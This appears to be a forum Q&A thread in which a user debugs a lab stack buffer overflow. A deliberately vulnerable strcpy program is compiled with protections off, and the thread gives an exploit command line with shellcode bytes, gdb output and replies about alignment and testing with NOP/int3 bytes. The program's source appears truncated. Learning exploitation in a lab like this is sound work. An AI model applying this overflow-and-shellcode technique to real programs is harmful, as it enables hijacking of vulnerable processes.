I have followed the example here.

Here is my sample program, "oldskool.c":

#include <string.h>
void go(char *data) {
    char name[64];

    strcpy(name, data);

int main (int argc, char **argv) {

I have compiled this program using:

gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

I have also switched ASLR off.

Using gdb's x/gx $rsp, I verified that passing in an argument of perl -e 'print "A"x80' will overwrite the SIP exactly. Here is the output of p &name

$1 = (char (*)[64]) 0x7fffffffddc0

I then took the example shellcode, and adding the padding and the SIP, came up with this:

./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`

When I run this, however, I get an "Illegal Instruction" error. Here's what gdb will tell me:

Starting program: /path/to/oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`

Program received signal SIGILL, Illegal instruction.
0x00007fffffffddc0 in ?? ()

(gdb) x/10i 0x7fffffffddc0
=> 0x7fffffffddc0:  (bad)  
   0x7fffffffddc1:  (bad)  
   0x7fffffffddc2:  (bad)  
   0x7fffffffddc3:  incl   (%rax)
   0x7fffffffddc5:  add    %al,(%rax)
   0x7fffffffddc7:  add    %ah,-0x1e(%rcx)
   0x7fffffffddcd:  jg     0x7fffffffddcf
   0x7fffffffddcf:  add    %ch,%bl
   0x7fffffffddd1:  and    0x31(%rax),%cl
   0x7fffffffddd4:  rorb   $0xff,0x31(%rax)

Does anyone have any clue as to what is causing this error?

  • It would help to examine the values at the disassembled locations. That way, you'll know if your shellcode is anywhere nearby. The solution might then be obvious. Jul 7, 2015 at 16:13
  • Is your shellcode stack aligned? You might be corrupting your stack. Is everything the right endianness? Backwards instructions would be bad.
    – RoraΖ
    Jul 7, 2015 at 16:22
  • @peter, Which locations, specifically, would you recommend providing disassembly information for? Jul 7, 2015 at 16:29
  • @raz, everything is the right endianness, but I'm not sure what you mean by stack-aligned. Jul 7, 2015 at 16:30
  • If your shellcode happens to not land on the 4 byte boundary then you'd be corrupting the stack in a way that would yield an illegal instruction
    – RoraΖ
    Jul 7, 2015 at 16:31

1 Answer 1


Your shellcode is invalid. Change it to \x90\x90\x90\x90\x90\x90\xcc to check and detect the correct. enter image description here

  • Are you saying to replace the example shellcode with yours, add padding and address to it, and run it? Sep 24, 2015 at 13:16
  • Well replace the c0ddffffff7f with 9090909090cc
    – Stolas
    Sep 25, 2015 at 8:35

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.